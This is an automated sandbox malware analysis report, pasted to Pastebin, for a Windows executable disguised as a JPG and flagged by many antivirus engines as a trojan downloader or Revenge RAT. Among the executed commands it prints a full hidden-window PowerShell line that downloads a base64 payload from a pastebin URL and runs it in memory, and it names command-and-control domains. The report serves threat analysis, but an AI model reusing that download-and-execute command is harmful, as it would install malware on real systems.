API tools faq
paste
paladin316

Exes_fc63382fde12f938bb6845c7c85ddd98_jpg_2019-06-26_17_30.json

paladin316
Jun 26th, 2019
2,173
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 56.37 KB | None | 0 0
raw download clone embed print report
  1.  
  2. [*] MalFamily: ""
  3.  
  4. [*] MalScore: 10.0
  5.  
  6. [*] File Name: "Exes_fc63382fde12f938bb6845c7c85ddd98.jpg"
  7. [*] File Size: 61918
  8. [*] File Type: "PE32 executable (GUI) Intel 80386, for MS Windows"
  9. [*] SHA256: "ecd583181d335b8b624ca13a84c01a6c77a52062174a32deac2da4fd9a41bbf9"
  10. [*] MD5: "fc63382fde12f938bb6845c7c85ddd98"
  11. [*] SHA1: "0854da4436c68b7600f7c1ae8217b49fe0dc8bfe"
  12. [*] SHA512: "aa7ba2ee6a1cae8c990a54cb5cabd72eaf2a6e8dadd1a307cb6a8b0a67809c84e10914b7520080ae1db5766d5f1558733b8cf6bf607e8fd77b7dcebdce66e9f3"
  13. [*] CRC32: "71AF9A02"
  14. [*] SSDEEP: "768:3X06/2vJPE9g8CoiesliFBl3WnWRPlNz30iB9L1zIOJlqYWoD4q:U6/2vO9g8CoiedwWRNxDzaof"
  15.  
  16. [*] Process Execution: [
  17. "Exes_fc63382fde12f938bb6845c7c85ddd98.jpg",
  18. "cmd.exe",
  19. "attrib.exe",
  20. "taskkill.exe",
  21. "powershell.exe",
  22. "powershell.exe",
  23. "svchost.exe",
  24. "WmiPrvSE.exe",
  25. "svchost.exe"
  26. ]
  27.  
  28. [*] Signatures Detected: [
  29. {
  30. "Description": "Attempts to connect to a dead IP:Port (1 unique times)",
  31. "Details": [
  32. {
  33. "IP": "185.255.46.77:333"
  34. }
  35. ]
  36. },
  37. {
  38. "Description": "Possible date expiration check, exits too soon after checking local time",
  39. "Details": [
  40. {
  41. "process": "attrib.exe, PID 2716"
  42. }
  43. ]
  44. },
  45. {
  46. "Description": "Creates RWX memory",
  47. "Details": []
  48. },
  49. {
  50. "Description": "A process attempted to delay the analysis task.",
  51. "Details": [
  52. {
  53. "Process": "WmiPrvSE.exe tried to sleep 420 seconds, actually delayed analysis time by 0 seconds"
  54. }
  55. ]
  56. },
  57. {
  58. "Description": "Attempts to execute a powershell command with suspicious parameter/s",
  59. "Details": [
  60. {
  61. "hidden_window": "Attempts to execute command with a hidden window"
  62. }
  63. ]
  64. },
  65. {
  66. "Description": "Reads data out of its own binary image",
  67. "Details": [
  68. {
  69. "self_read": "process: Exes_fc63382fde12f938bb6845c7c85ddd98.jpg, pid: 1728, offset: 0x0000f000, length: 0x000001de"
  70. },
  71. {
  72. "self_read": "process: Exes_fc63382fde12f938bb6845c7c85ddd98.jpg, pid: 1728, offset: 0x0000f00c, length: 0x000001d2"
  73. },
  74. {
  75. "self_read": "process: Exes_fc63382fde12f938bb6845c7c85ddd98.jpg, pid: 1728, offset: 0x0000f024, length: 0x000001ba"
  76. },
  77. {
  78. "self_read": "process: Exes_fc63382fde12f938bb6845c7c85ddd98.jpg, pid: 1728, offset: 0x0000f03c, length: 0x000001a2"
  79. },
  80. {
  81. "self_read": "process: Exes_fc63382fde12f938bb6845c7c85ddd98.jpg, pid: 1728, offset: 0x0000f1b9, length: 0x00000025"
  82. },
  83. {
  84. "self_read": "process: Exes_fc63382fde12f938bb6845c7c85ddd98.jpg, pid: 1728, offset: 0x0000f1d2, length: 0x0000000c"
  85. }
  86. ]
  87. },
  88. {
  89. "Description": "A process created a hidden window",
  90. "Details": [
  91. {
  92. "Process": "Exes_fc63382fde12f938bb6845c7c85ddd98.jpg -> C:\\Users\\user\\AppData\\Local\\Temp\\ytmp\\t25966.bat"
  93. },
  94. {
  95. "Process": "cmd.exe -> C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
  96. }
  97. ]
  98. },
  99. {
  100. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  101. "Details": [
  102. {
  103. "get_no_useragent": "HTTP traffic contains a GET request with no user-agent header"
  104. },
  105. {
  106. "suspicious_request": "http://pastebin.com/raw/xaMmAazU"
  107. }
  108. ]
  109. },
  110. {
  111. "Description": "Performs some HTTP requests",
  112. "Details": [
  113. {
  114. "url": "http://pastebin.com/raw/xaMmAazU"
  115. }
  116. ]
  117. },
  118. {
  119. "Description": "Creates a hidden or system file",
  120. "Details": [
  121. {
  122. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\ytmp"
  123. },
  124. {
  125. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RF1f50da7.TMP"
  126. }
  127. ]
  128. },
  129. {
  130. "Description": "File has been identified by 46 Antiviruses on VirusTotal as malicious",
  131. "Details": [
  132. {
  133. "K7AntiVirus": "Trojan-Downloader ( 00539cad1 )"
  134. },
  135. {
  136. "MicroWorld-eScan": "Trojan.GenericKD.40375243"
  137. },
  138. {
  139. "CMC": "Trojan-Ransom.Win32!O"
  140. },
  141. {
  142. "McAfee": "Artemis!FC63382FDE12"
  143. },
  144. {
  145. "Malwarebytes": "Trojan.Crypt"
  146. },
  147. {
  148. "TheHacker": "Trojan/Agent.ojc"
  149. },
  150. {
  151. "K7GW": "Trojan-Downloader ( 00539cad1 )"
  152. },
  153. {
  154. "Arcabit": "Trojan.Generic.D26813CB"
  155. },
  156. {
  157. "Cyren": "W32/Downloader.EDPR-8216"
  158. },
  159. {
  160. "Symantec": "ML.Attribute.HighConfidence"
  161. },
  162. {
  163. "ESET-NOD32": "BAT/TrojanDownloader.Agent.NPQ"
  164. },
  165. {
  166. "Kaspersky": "Trojan.MSIL.Revenge.cme"
  167. },
  168. {
  169. "BitDefender": "Trojan.GenericKD.40375243"
  170. },
  171. {
  172. "NANO-Antivirus": "Trojan.Win32.Revenge.fhypat"
  173. },
  174. {
  175. "Paloalto": "generic.ml"
  176. },
  177. {
  178. "Endgame": "malicious (moderate confidence)"
  179. },
  180. {
  181. "Emsisoft": "Trojan.GenericKD.40375243 (B)"
  182. },
  183. {
  184. "Comodo": "Malware@#1p2mmaid22jus"
  185. },
  186. {
  187. "F-Secure": "Trojan.TR/Dldr.Agent.pdtua"
  188. },
  189. {
  190. "VIPRE": "Trojan.Win32.Generic!BT"
  191. },
  192. {
  193. "Invincea": "heuristic"
  194. },
  195. {
  196. "McAfee-GW-Edition": "BehavesLike.Win32.Dropper.km"
  197. },
  198. {
  199. "Trapmine": "malicious.high.ml.score"
  200. },
  201. {
  202. "Sophos": "Mal/Generic-S"
  203. },
  204. {
  205. "SentinelOne": "static engine - malicious"
  206. },
  207. {
  208. "Webroot": "W32.Bot.Gen"
  209. },
  210. {
  211. "Avira": "TR/Dldr.Agent.pdtua"
  212. },
  213. {
  214. "Antiy-AVL": "Trojan/Win32.Agent"
  215. },
  216. {
  217. "Microsoft": "Trojan:Win32/Occamy.B"
  218. },
  219. {
  220. "ViRobot": "Trojan.Win32.Z.Revenge.61918"
  221. },
  222. {
  223. "AhnLab-V3": "Malware/Win32.Generic.C2684380"
  224. },
  225. {
  226. "ZoneAlarm": "Trojan.MSIL.Revenge.cme"
  227. },
  228. {
  229. "GData": "Trojan.GenericKD.40375243"
  230. },
  231. {
  232. "TACHYON": "Trojan/W32.Revenge.61918"
  233. },
  234. {
  235. "Acronis": "suspicious"
  236. },
  237. {
  238. "VBA32": "Trojan.MSIL.Revenge"
  239. },
  240. {
  241. "ALYac": "Trojan.GenericKD.40375243"
  242. },
  243. {
  244. "MAX": "malware (ai score=100)"
  245. },
  246. {
  247. "Ad-Aware": "Trojan.GenericKD.40375243"
  248. },
  249. {
  250. "Zoner": "Trojan.Win32.73680"
  251. },
  252. {
  253. "Yandex": "Trojan.DL.Agent!Ta6sGHyACl4"
  254. },
  255. {
  256. "Ikarus": "Trojan-Downloader.BAT.Agent"
  257. },
  258. {
  259. "AVG": "FileRepMalware"
  260. },
  261. {
  262. "Panda": "Trj/CI.A"
  263. },
  264. {
  265. "CrowdStrike": "win/malicious_confidence_90% (W)"
  266. },
  267. {
  268. "Qihoo-360": "HEUR/QVM07.1.FC21.Malware.Gen"
  269. }
  270. ]
  271. }
  272. ]
  273.  
  274. [*] Started Service: []
  275.  
  276. [*] Executed Commands: [
  277. "\"C:\\Users\\user\\AppData\\Local\\Temp\\ytmp\\t25966.bat\" \"C:\\Users\\user\\AppData\\Local\\Temp\\Exes_fc63382fde12f938bb6845c7c85ddd98.jpg\"",
  278. "C:\\Users\\user\\AppData\\Local\\Temp\\ytmp\\t25966.bat \"C:\\Users\\user\\AppData\\Local\\Temp\\Exes_fc63382fde12f938bb6845c7c85ddd98.jpg\"",
  279. "attrib +h C:\\Users\\user\\AppData\\Local\\Temp\\ytmp",
  280. "taskkill /F /IM powershell.exe",
  281. "powershell.exe Stop-Process -processname etc",
  282. "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe PowerShell.exe -windowstyle hidden -noexit [AppDomain]::CurrentDomain.Load([Convert]::Frombase64String((New-Object System.Net.WebClient).Downloadstring('http://pastebin.com/raw/xaMmAazU'))).EntryPoint.invoke($null,$null)",
  283. "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
  284. ]
  285.  
  286. [*] Mutexes: [
  287. "Local\\ZoneAttributeCacheCounterMutex",
  288. "Local\\ZonesCacheCounterMutex",
  289. "Local\\ZonesLockedCacheCounterMutex",
  290. "Global\\CLR_CASOFF_MUTEX",
  291. "Global\\.net clr networking",
  292. "RV_MUTEX"
  293. ]
  294.  
  295. [*] Modified Files: [
  296. "C:\\Users\\user\\AppData\\Local\\Temp\\ytmp\\t25966.bat",
  297. "C:\\Users\\user\\AppData\\Local\\Temp\\ytmp\\t26015.exe",
  298. "\\??\\PIPE\\samr",
  299. "C:\\Windows\\sysnative\\wbem\\repository\\WRITABLE.TST",
  300. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING1.MAP",
  301. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING2.MAP",
  302. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING3.MAP",
  303. "C:\\Windows\\sysnative\\wbem\\repository\\OBJECTS.DATA",
  304. "C:\\Windows\\sysnative\\wbem\\repository\\INDEX.BTR",
  305. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
  306. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER",
  307. "C:\\Users\\user\\AppData\\Local\\Temp\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk",
  308. "\\??\\PIPE\\srvsvc",
  309. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\P9RWZ2TN33RMCG0QZHOJ.temp",
  310. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms",
  311. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\GCFO49PHI94NKMKSUJIY.temp",
  312. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RF1f50da7.TMP"
  313. ]
  314.  
  315. [*] Deleted Files: [
  316. "C:\\Users\\user\\AppData\\Local\\Temp\\ytmp\\t25966.bat",
  317. "C:\\Users\\user\\AppData\\Local\\Temp\\ytmp\\t26015.exe",
  318. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\P9RWZ2TN33RMCG0QZHOJ.temp",
  319. "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\security.config.cch.2440.32811750",
  320. "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\enterprisesec.config.cch.2440.32811750",
  321. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch.2440.32811750",
  322. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RF1f50da7.TMP"
  323. ]
  324.  
  325. [*] Modified Registry Keys: [
  326. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
  327. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect",
  328. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart",
  329. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Wbem\\Transports\\Decoupled\\Server",
  330. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\CreationTime",
  331. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\MarshaledProxy",
  332. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\ProcessIdentifier",
  333. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ConfigValueEssNeedsLoading",
  334. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\List of event-active namespaces",
  335. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\ESS\\//./root/CIMV2\\SCM Event Provider",
  336. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  337. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\powershell_RASAPI32",
  338. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\EnableFileTracing",
  339. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\EnableConsoleTracing",
  340. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\FileTracingMask",
  341. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\ConsoleTracingMask",
  342. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\MaxFileSize",
  343. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\FileDirectory"
  344. ]
  345.  
  346. [*] Deleted Registry Keys: [
  347. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  348. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  349. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
  350. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName"
  351. ]
  352.  
  353. [*] DNS Communications: [
  354. {
  355. "type": "A",
  356. "request": "pastebin.com",
  357. "answers": [
  358. {
  359. "data": "104.20.209.21",
  360. "type": "A"
  361. },
  362. {
  363. "data": "104.20.208.21",
  364. "type": "A"
  365. }
  366. ]
  367. },
  368. {
  369. "type": "A",
  370. "request": "escan0r.duckdns.org",
  371. "answers": [
  372. {
  373. "data": "185.255.46.77",
  374. "type": "A"
  375. }
  376. ]
  377. },
  378. {
  379. "type": "A",
  380. "request": "escan0r.zapto.org",
  381. "answers": []
  382. }
  383. ]
  384.  
  385. [*] Domains: [
  386. {
  387. "ip": "185.255.46.77",
  388. "domain": "escan0r.duckdns.org"
  389. },
  390. {
  391. "ip": "104.20.208.21",
  392. "domain": "pastebin.com"
  393. },
  394. {
  395. "ip": "",
  396. "domain": "escan0r.zapto.org"
  397. }
  398. ]
  399.  
  400. [*] Network Communication - ICMP: []
  401.  
  402. [*] Network Communication - HTTP: [
  403. {
  404. "count": 1,
  405. "body": "",
  406. "uri": "http://pastebin.com/raw/xaMmAazU",
  407. "user-agent": "",
  408. "method": "GET",
  409. "host": "pastebin.com",
  410. "version": "1.1",
  411. "path": "/raw/xaMmAazU",
  412. "data": "GET /raw/xaMmAazU HTTP/1.1\r\nHost: pastebin.com\r\nConnection: Keep-Alive\r\n\r\n",
  413. "port": 80
  414. }
  415. ]
  416.  
  417. [*] Network Communication - SMTP: []
  418.  
  419. [*] Network Communication - Hosts: []
  420.  
  421. [*] Network Communication - IRC: []
  422.  
  423. [*] Static Analysis: {
  424. "pe": {
  425. "peid_signatures": null,
  426. "imports": [
  427. {
  428. "imports": [
  429. {
  430. "name": "CloseHandle",
  431. "address": "0x40c000"
  432. },
  433. {
  434. "name": "WaitForSingleObject",
  435. "address": "0x40c004"
  436. },
  437. {
  438. "name": "Sleep",
  439. "address": "0x40c008"
  440. },
  441. {
  442. "name": "CreateDirectoryA",
  443. "address": "0x40c00c"
  444. },
  445. {
  446. "name": "GetTempPathA",
  447. "address": "0x40c010"
  448. },
  449. {
  450. "name": "GetModuleFileNameA",
  451. "address": "0x40c014"
  452. },
  453. {
  454. "name": "GetTickCount",
  455. "address": "0x40c018"
  456. },
  457. {
  458. "name": "LCMapStringA",
  459. "address": "0x40c01c"
  460. },
  461. {
  462. "name": "SetEndOfFile",
  463. "address": "0x40c020"
  464. },
  465. {
  466. "name": "LoadLibraryA",
  467. "address": "0x40c024"
  468. },
  469. {
  470. "name": "GetOEMCP",
  471. "address": "0x40c028"
  472. },
  473. {
  474. "name": "GetLastError",
  475. "address": "0x40c02c"
  476. },
  477. {
  478. "name": "DeleteFileA",
  479. "address": "0x40c030"
  480. },
  481. {
  482. "name": "ExitProcess",
  483. "address": "0x40c034"
  484. },
  485. {
  486. "name": "TerminateProcess",
  487. "address": "0x40c038"
  488. },
  489. {
  490. "name": "GetCurrentProcess",
  491. "address": "0x40c03c"
  492. },
  493. {
  494. "name": "GetModuleHandleA",
  495. "address": "0x40c040"
  496. },
  497. {
  498. "name": "GetStartupInfoA",
  499. "address": "0x40c044"
  500. },
  501. {
  502. "name": "GetCommandLineA",
  503. "address": "0x40c048"
  504. },
  505. {
  506. "name": "GetVersion",
  507. "address": "0x40c04c"
  508. },
  509. {
  510. "name": "HeapFree",
  511. "address": "0x40c050"
  512. },
  513. {
  514. "name": "SetFilePointer",
  515. "address": "0x40c054"
  516. },
  517. {
  518. "name": "SetHandleCount",
  519. "address": "0x40c058"
  520. },
  521. {
  522. "name": "GetStdHandle",
  523. "address": "0x40c05c"
  524. },
  525. {
  526. "name": "GetFileType",
  527. "address": "0x40c060"
  528. },
  529. {
  530. "name": "WriteFile",
  531. "address": "0x40c064"
  532. },
  533. {
  534. "name": "ReadFile",
  535. "address": "0x40c068"
  536. },
  537. {
  538. "name": "GetProcAddress",
  539. "address": "0x40c06c"
  540. },
  541. {
  542. "name": "UnhandledExceptionFilter",
  543. "address": "0x40c070"
  544. },
  545. {
  546. "name": "FreeEnvironmentStringsA",
  547. "address": "0x40c074"
  548. },
  549. {
  550. "name": "FreeEnvironmentStringsW",
  551. "address": "0x40c078"
  552. },
  553. {
  554. "name": "WideCharToMultiByte",
  555. "address": "0x40c07c"
  556. },
  557. {
  558. "name": "GetEnvironmentStrings",
  559. "address": "0x40c080"
  560. },
  561. {
  562. "name": "GetEnvironmentStringsW",
  563. "address": "0x40c084"
  564. },
  565. {
  566. "name": "HeapDestroy",
  567. "address": "0x40c088"
  568. },
  569. {
  570. "name": "HeapCreate",
  571. "address": "0x40c08c"
  572. },
  573. {
  574. "name": "VirtualFree",
  575. "address": "0x40c090"
  576. },
  577. {
  578. "name": "RtlUnwind",
  579. "address": "0x40c094"
  580. },
  581. {
  582. "name": "HeapAlloc",
  583. "address": "0x40c098"
  584. },
  585. {
  586. "name": "VirtualAlloc",
  587. "address": "0x40c09c"
  588. },
  589. {
  590. "name": "HeapReAlloc",
  591. "address": "0x40c0a0"
  592. },
  593. {
  594. "name": "SetStdHandle",
  595. "address": "0x40c0a4"
  596. },
  597. {
  598. "name": "FlushFileBuffers",
  599. "address": "0x40c0a8"
  600. },
  601. {
  602. "name": "MultiByteToWideChar",
  603. "address": "0x40c0ac"
  604. },
  605. {
  606. "name": "GetStringTypeA",
  607. "address": "0x40c0b0"
  608. },
  609. {
  610. "name": "GetStringTypeW",
  611. "address": "0x40c0b4"
  612. },
  613. {
  614. "name": "CreateFileA",
  615. "address": "0x40c0b8"
  616. },
  617. {
  618. "name": "GetCPInfo",
  619. "address": "0x40c0bc"
  620. },
  621. {
  622. "name": "GetACP",
  623. "address": "0x40c0c0"
  624. },
  625. {
  626. "name": "LCMapStringW",
  627. "address": "0x40c0c4"
  628. }
  629. ],
  630. "dll": "KERNEL32.dll"
  631. },
  632. {
  633. "imports": [
  634. {
  635. "name": "ShellExecuteExA",
  636. "address": "0x40c0cc"
  637. }
  638. ],
  639. "dll": "SHELL32.dll"
  640. },
  641. {
  642. "imports": [
  643. {
  644. "name": "timeGetTime",
  645. "address": "0x40c0d4"
  646. }
  647. ],
  648. "dll": "WINMM.dll"
  649. }
  650. ],
  651. "digital_signers": null,
  652. "exported_dll_name": null,
  653. "actual_checksum": "0x0001da2c",
  654. "overlay": {
  655. "size": "0x000001de",
  656. "offset": "0x0000f000"
  657. },
  658. "imagebase": "0x00400000",
  659. "reported_checksum": "0x00000000",
  660. "icon_hash": null,
  661. "entrypoint": "0x00406074",
  662. "timestamp": "2014-08-02 23:47:05",
  663. "osversion": "4.0",
  664. "sections": [
  665. {
  666. "name": ".text",
  667. "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
  668. "virtual_address": "0x00001000",
  669. "size_of_data": "0x0000b000",
  670. "entropy": "6.29",
  671. "raw_address": "0x00001000",
  672. "virtual_size": "0x0000a6ea",
  673. "characteristics_raw": "0x60000020"
  674. },
  675. {
  676. "name": ".rdata",
  677. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
  678. "virtual_address": "0x0000c000",
  679. "size_of_data": "0x00001000",
  680. "entropy": "3.83",
  681. "raw_address": "0x0000c000",
  682. "virtual_size": "0x000009e6",
  683. "characteristics_raw": "0x40000040"
  684. },
  685. {
  686. "name": ".data",
  687. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  688. "virtual_address": "0x0000d000",
  689. "size_of_data": "0x00001000",
  690. "entropy": "3.55",
  691. "raw_address": "0x0000d000",
  692. "virtual_size": "0x00b00cf8",
  693. "characteristics_raw": "0xc0000040"
  694. },
  695. {
  696. "name": ".rsrc",
  697. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
  698. "virtual_address": "0x00b0e000",
  699. "size_of_data": "0x00001000",
  700. "entropy": "0.00",
  701. "raw_address": "0x0000e000",
  702. "virtual_size": "0x00000010",
  703. "characteristics_raw": "0x40000040"
  704. }
  705. ],
  706. "resources": [],
  707. "dirents": [
  708. {
  709. "virtual_address": "0x00000000",
  710. "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
  711. "size": "0x00000000"
  712. },
  713. {
  714. "virtual_address": "0x0000c528",
  715. "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
  716. "size": "0x00000050"
  717. },
  718. {
  719. "virtual_address": "0x00b0e000",
  720. "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
  721. "size": "0x00000010"
  722. },
  723. {
  724. "virtual_address": "0x00000000",
  725. "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
  726. "size": "0x00000000"
  727. },
  728. {
  729. "virtual_address": "0x00000000",
  730. "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
  731. "size": "0x00000000"
  732. },
  733. {
  734. "virtual_address": "0x00000000",
  735. "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
  736. "size": "0x00000000"
  737. },
  738. {
  739. "virtual_address": "0x00000000",
  740. "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
  741. "size": "0x00000000"
  742. },
  743. {
  744. "virtual_address": "0x00000000",
  745. "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
  746. "size": "0x00000000"
  747. },
  748. {
  749. "virtual_address": "0x00000000",
  750. "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
  751. "size": "0x00000000"
  752. },
  753. {
  754. "virtual_address": "0x00000000",
  755. "name": "IMAGE_DIRECTORY_ENTRY_TLS",
  756. "size": "0x00000000"
  757. },
  758. {
  759. "virtual_address": "0x00000000",
  760. "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
  761. "size": "0x00000000"
  762. },
  763. {
  764. "virtual_address": "0x00000000",
  765. "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
  766. "size": "0x00000000"
  767. },
  768. {
  769. "virtual_address": "0x0000c000",
  770. "name": "IMAGE_DIRECTORY_ENTRY_IAT",
  771. "size": "0x000000dc"
  772. },
  773. {
  774. "virtual_address": "0x00000000",
  775. "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
  776. "size": "0x00000000"
  777. },
  778. {
  779. "virtual_address": "0x00000000",
  780. "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
  781. "size": "0x00000000"
  782. },
  783. {
  784. "virtual_address": "0x00000000",
  785. "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
  786. "size": "0x00000000"
  787. }
  788. ],
  789. "exports": [],
  790. "guest_signers": {},
  791. "imphash": "a04f32913d3ef18e07d2c1e3f373c264",
  792. "icon_fuzzy": null,
  793. "icon": null,
  794. "pdbpath": null,
  795. "imported_dll_count": 3,
  796. "versioninfo": []
  797. }
  798. }
  799.  
  800. [*] Resolved APIs: [
  801. "kernel32.dll.IsProcessorFeaturePresent",
  802. "ole32.dll.OleInitialize",
  803. "cryptbase.dll.SystemFunction036",
  804. "uxtheme.dll.ThemeInitApiHook",
  805. "user32.dll.IsProcessDPIAware",
  806. "ole32.dll.CreateBindCtx",
  807. "ole32.dll.CoTaskMemAlloc",
  808. "propsys.dll.PSCreateMemoryPropertyStore",
  809. "propsys.dll.PSPropertyBag_WriteDWORD",
  810. "ole32.dll.CoGetApartmentType",
  811. "ole32.dll.CoRegisterInitializeSpy",
  812. "ole32.dll.CoTaskMemFree",
  813. "comctl32.dll.#236",
  814. "oleaut32.dll.#6",
  815. "ole32.dll.CoGetMalloc",
  816. "propsys.dll.PSPropertyBag_ReadDWORD",
  817. "comctl32.dll.#320",
  818. "ole32.dll.StringFromGUID2",
  819. "comctl32.dll.#324",
  820. "comctl32.dll.#323",
  821. "advapi32.dll.RegEnumKeyW",
  822. "oleaut32.dll.#2",
  823. "propsys.dll.PSPropertyBag_ReadBSTR",
  824. "propsys.dll.PSPropertyBag_ReadStrAlloc",
  825. "shell32.dll.#102",
  826. "advapi32.dll.OpenThreadToken",
  827. "ole32.dll.CoInitializeEx",
  828. "ole32.dll.CoCreateInstance",
  829. "advapi32.dll.InitializeSecurityDescriptor",
  830. "advapi32.dll.SetEntriesInAclW",
  831. "ntmarta.dll.GetMartaExtensionInterface",
  832. "advapi32.dll.SetSecurityDescriptorDacl",
  833. "advapi32.dll.IsTextUnicode",
  834. "comctl32.dll.#328",
  835. "comctl32.dll.#334",
  836. "comctl32.dll.#332",
  837. "comctl32.dll.#338",
  838. "comctl32.dll.#339",
  839. "ole32.dll.CoUninitialize",
  840. "sechost.dll.ConvertSidToStringSidW",
  841. "profapi.dll.#104",
  842. "propsys.dll.#417",
  843. "ole32.dll.PropVariantClear",
  844. "oleaut32.dll.#9",
  845. "setupapi.dll.CM_Get_Device_Interface_List_Size_ExW",
  846. "setupapi.dll.CM_Get_Device_Interface_List_ExW",
  847. "comctl32.dll.#386",
  848. "advapi32.dll.RegQueryValueW",
  849. "apphelp.dll.ApphelpCheckShellObject",
  850. "propsys.dll.#430",
  851. "advapi32.dll.RegOpenKeyExW",
  852. "advapi32.dll.RegGetValueW",
  853. "advapi32.dll.RegCloseKey",
  854. "ole32.dll.CoTaskMemRealloc",
  855. "propsys.dll.InitPropVariantFromStringAsVector",
  856. "propsys.dll.PSCoerceToCanonicalValue",
  857. "propsys.dll.PropVariantToStringAlloc",
  858. "ole32.dll.CoAllowSetForegroundWindow",
  859. "kernel32.dll.InitializeSRWLock",
  860. "kernel32.dll.AcquireSRWLockExclusive",
  861. "kernel32.dll.AcquireSRWLockShared",
  862. "kernel32.dll.ReleaseSRWLockExclusive",
  863. "kernel32.dll.ReleaseSRWLockShared",
  864. "shell32.dll.SHGetFolderPathW",
  865. "advapi32.dll.SaferGetPolicyInformation",
  866. "sfc.dll.SfcIsFileProtected",
  867. "setupapi.dll.PnpIsFilePnpDriver",
  868. "kernel32.dll.RegOpenKeyExW",
  869. "kernel32.dll.RegCloseKey",
  870. "devrtl.dll.DevRtlGetThreadLogToken",
  871. "apphelp.dll.AllowPermLayer",
  872. "kernel32.dll.BaseIsAppcompatInfrastructureDisabled",
  873. "apphelp.dll.SdbInitDatabase",
  874. "apphelp.dll.SdbGetMatchingExe",
